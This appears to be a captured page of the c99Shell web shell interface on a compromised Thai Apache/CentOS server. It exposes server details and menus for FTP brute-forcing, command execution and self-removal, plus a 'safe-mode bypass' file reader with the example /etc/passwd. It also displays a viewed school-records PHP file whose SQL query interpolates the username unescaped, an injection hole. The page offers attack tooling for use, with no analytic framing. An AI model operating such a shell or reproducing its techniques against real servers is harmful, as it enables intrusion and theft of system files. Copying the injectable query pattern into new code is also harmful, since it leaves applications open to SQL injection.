!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/develop_person_depart/   drwxr-xr-x
Free 52.82 GB of 127.8 GB (41.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddAccType.php (3.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
 
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
   
$rs[Research_code] = mysql_insert_id();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="807" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="807"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_manage.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="BuildingList.php?Teacher_code=<? echo $rss[Teacher_code?>">ข้อมูลครุภัณฑ์และสิ่งก่อสร้าง</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มข้อมูลชนิดรายการครุภัณฑ์</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertAccType.php">
                <table width="63%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">
                  <tr bgcolor="#E8E8FF" >
                    <td height="25" colspan="3"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong>เพิ่มข้อมูลชนิดรายการครุภัณฑ์</strong></font></div></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td width="26%" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ชื่อชนิดครุภัณฑ์</font></div></td>
                    <td width="2%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td width="72%" bgcolor="#EEEEEE"><input name="Acc_type" type="text" id="Acc_type" size="50" /></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ชื่อชนิดครุภัณฑ์</font> <font size="2" face="Tahoma">(English) </font></div></td>
                    <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
                    <td bgcolor="#EEEEEE"><input name="Acc_Etype" type="text" class="input" id="Acc_Etype" size="50" />
                    </td>
                  </tr>
                  <tr bgcolor="#E8E8FF" >
                    <td height="25" colspan="3"><div align="center">
                        <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                        <input type="submit" name="Submit" value=" บันทึก " class="button" />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="reset" name="Submit2" value="เริ่มใหม่" class="button" />
                    </div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--